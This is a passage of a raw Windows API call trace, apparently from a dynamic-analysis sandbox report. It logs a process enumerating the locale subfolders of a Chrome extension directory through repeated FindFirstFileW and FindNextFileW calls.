ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0228.769] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86481e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8656c48, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8656c48, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8660880, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667dbb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8667dbb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe867dd53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8682b76, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8682b76, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe868eeca, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8693cf9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8693cf9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86a2743, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86a7572, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86a7572, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0228.770] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86b11a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86b5fd6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86b5fd6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86bfc14, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86c7149, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86c7149, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86d0d8b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86d349d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86d349d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86dd0c3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86e1f01, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86e1f01, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86fa5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe86fccb9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe86fccb9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8709007, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe870b716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe870b716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8717a6d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe871c890, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe871c890, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0228.771] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8728be1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe872b2f0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe872b2f0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe873eb6d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8743999, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8743999, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe874d5da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe874fced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe874fced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe875c028, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8760e60, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8760e60, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe876d19b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8771fd3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8771fd3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe877bc0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8780a3a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8780a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe878a67b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8791bad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8791bad, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0228.772] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe879b7e2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87a0611, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87a0611, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0228.773] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87b1784, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87b65a7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87b65a7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_HK", cAlternateFileName="")) returned 1 [0228.773] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87c01e8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87c28fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87c28fb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0228.773] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87cec26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d8890, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d8890, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 1 [0228.773] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87cec26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d8890, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d8890, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 0 [0228.773] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0228.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ec8d0) returned 1 [0228.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ec890) returned 1 [0228.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ec990) returned 1 [0228.774] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales", nBufferLength=0x105, lpBuffer=0x209ec430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales", lpFilePart=0x0) returned 0x78 [0228.774] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\*", lpFindFileData=0x209ec6b0 | out: lpFindFileData=0x209ec6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8279eee, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d134c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d134c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829c1de, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82a5e26, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82a5e26, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az", cAlternateFileName="")) returned 1 [0228.775] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82cf641, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82d4479, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82d4479, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82db992, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e07b4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82e07b4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83114cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe831ff69, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe831ff69, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0228.776] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8372f77, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe837f2eb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe837f2eb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe839526d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe839eec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe839eec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83b0041, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83bea73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83bea73, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0228.777] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, 